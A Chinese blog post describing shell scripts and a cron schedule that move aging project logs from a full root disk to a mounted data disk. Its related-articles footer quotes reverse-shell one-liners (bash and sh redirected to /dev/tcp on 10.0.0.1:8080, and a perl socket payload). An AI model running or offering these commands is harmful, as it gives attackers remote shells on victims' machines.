首页 > 系统相关 >shell脚本定时任务转移项目日志

shell脚本定时任务转移项目日志

时间:2023-02-27 11:47:53浏览次数:48  
标签:shell zjj gzh source 日志 定时 dir cli

1、之前同时项目部署在根目录,根目录磁盘空间40G,运行一年后日志占了18G的磁盘空间,

根目录只有几个G的磁盘空间,现在写shell脚本定时转移日志文件到挂载的磁盘目录下

2、编写shell脚本

#!/bin/bash
#移动这个目录下3天前的的报告
REPORT_LOG=/home/wwwroot/middleware/public/report #这个等号两边不能有空格,否则报错,这个是项目日志文件

#for循环3天前日志
for file in `find $REPORT_LOG -mtime +3`;
  do
  mv -f $file '/mnt/datadisk0/log/report/' #挂载的磁盘下
done

3、定时任务

#每隔3天定时转移一次日志
0 4 */3 * * /home/wwwroot/report_mv_log.sh

4、下面是另外一份转移日志的shell脚本

#!/bin/bash
# 获取前一天的日期 yesterday=`date +"%Y%m%d" -d "-1 days"`
# 公众号日志源文件目录 gzh_dir_source='/home/wwwroot/gongzhonghao/runtime/log/'
# 公众号日志备份文件目录 gzh_dir_back='/mnt/datadisk0/log/gongzhonghao/'
gzh_sql=$yesterday'_sql.log' #sql日志 gzh_cli=$yesterday'_sql_cli.log' #cli日志 gzh_pay_notify=$yesterday'_pay_notify.log' #支付回调日志 gzh_error=$yesterday'_error.log' #异常日志
#移动公众号前一天的日志,磁盘不够
if [ -e $gzh_dir_source$gzh_sql ]; then     mv -f $gzh_dir_source$gzh_sql $gzh_dir_back fi; if [ -e $gzh_dir_source$gzh_cli ]; then     mv -f $gzh_dir_source$gzh_cli $gzh_dir_back fi; if [ -e $gzh_dir_source$gzh_pay_notify ]; then     mv -f $gzh_dir_source$gzh_pay_notify $gzh_dir_back fi; if [ -e $gzh_dir_source$gzh_error ]; then     mv -f $gzh_dir_source$gzh_error $gzh_dir_back fi;

# 中间件日志源文件目录 zjj_dir_source='/home/wwwroot/middleware/runtime/log/'
# 公众号日志备份文件目录 zjj_dir_back='/mnt/datadisk0/log/middleware/'
zjj_sql=$yesterday'_sql.log' #sql日志 zjj_cli=$yesterday'_sql_cli.log' #cli日志 zjj_error=$yesterday'_error.log' #异常日志 zjj_error_cli=$yesterday'_error_cli.log' #异常cli日志 zjj_guahao=$yesterday'_guahao.log' #挂号日志 zjj_req=$yesterday'_req.log' #req日志 zjj_his_token=$yesterday'_his_token.log' #token日志 zjj_his=$yesterday'_his.log' #token日志 zjj_his_cli=$yesterday'_his_cli.log' #token日志
#中间件前一天的日志,磁盘不够
if [ -e $zjj_dir_source$zjj_sql ]; then     mv -f $zjj_dir_source$zjj_sql $zjj_dir_back fi; if [ -e $zjj_dir_source$zjj_cli ]; then     mv -f $zjj_dir_source$zjj_cli $zjj_dir_back fi; if [ -e $zjj_dir_source$zjj_error ]; then     mv -f $zjj_dir_source$zjj_error $zjj_dir_back fi; if [ -e $zjj_dir_source$zjj_guahao ]; then     mv -f $zjj_dir_source$zjj_guahao $zjj_dir_back fi; if [ -e $zjj_dir_source$zjj_req ]; then     mv -f $zjj_dir_source$zjj_req $zjj_dir_back fi; if [ -e $zjj_dir_source$zjj_his_token ]; then     mv -f $zjj_dir_source$zjj_his_token $zjj_dir_back fi; if [ -e $zjj_dir_source$zjj_his ]; then     mv -f $zjj_dir_source$zjj_his $zjj_dir_back fi; if [ -e $zjj_dir_source$zjj_his_cli ]; then     mv -f $zjj_dir_source$zjj_his_cli $zjj_dir_back fi; if [ -e $zjj_dir_source$zjj_error_cli ]; then     mv -f $zjj_dir_source$zjj_error_cli $zjj_dir_back fi;

标签:shell,zjj,gzh,source,日志,定时,dir,cli
From: https://www.cnblogs.com/buckliu/p/17159118.html

相关文章

  • Oracle alert.log日志出现:Thread 1 cannot allocate new log
    参考链接:https://blog.csdn.net/joinplay/article/details/232559411、查找oracle错误日志存放目录(sqlplus登录sysdba执行):showparameterbackground_dump_dest查看aler......
  • shell 字串
    1.学习基础语法,知道语法之后,再应用name="southsouth"southsouth上面这个元素,是有索引的,序号012345.......name="southsouth"该变量的值,有索引,分别是从0,1,2......
  • 记一次完整体系的攻防演练的环境部署-映射公网-渗透getshell-上线frp-上线MSF实现内网
    前言,本次笔记是记录在工作中的一个攻防演练环境搭建和通过部署的应用存在的文件上传漏洞getshell,接着上线frp,接着上线msf,实现msf远程渗透。准备工作:1,在客户的内网环境......
  • shell 读入写入execl文件
    #!/bin/bash#定义Excel文件路径和Sheet名称EXCEL_FILE="example.xlsx"SHEET_NAME="Sheet1"#读取Excel文件内容echo"ReadingExcelfile${EXCEL_FILE}"python......
  • 一文搞懂java日志框架
    发展历史总结标准接口实现产品JCLlog4j、julSlf4jlogbacklog4j-api(log4j2)log4j-core(log4j2)发展System.out最早最简单的打印方式,不可配置日......
  • Spring Boot 实现日志链路追踪,无需引入组件,让日志定位更方便!
    来源:blog.csdn.net/qq_35387940/article/details/125062368前言从文章标题就知道,这篇文章是介绍些什么。这是我一位朋友的问题反馈:好像是的,确实这种现象是普遍存在的......
  • Linux-反弹Shell
    /bin/bash-i>&/dev/tcp/10.0.0.1/80800>&1/bin/sh-i>&/dev/tcp/10.0.0.1/80800>&1perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,......
  • 【RocketMQ】Dledger日志复制源码分析
    消息存储在【RocketMQ】消息的存储一文中提到,Broker收到消息后会调用CommitLog的asyncPutMessage方法写入消息,在DLedger模式下使用的是DLedgerCommitLog,进入asyncPutMess......
  • Linux-反弹Shell
    /bin/bash-i>&/dev/tcp/10.0.0.1/80800>&1/bin/sh-i>&/dev/tcp/10.0.0.1/80800>&1perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,......
  • Traefik搭建日志
    Traefik是一个开源边际路由,它能够将请求根据不同的条件转发给后端不同的服务。Traefik和Nginx都可以用于反向代理,但是你可以说“Nginx反向代理服务器”,而不能说“Trae......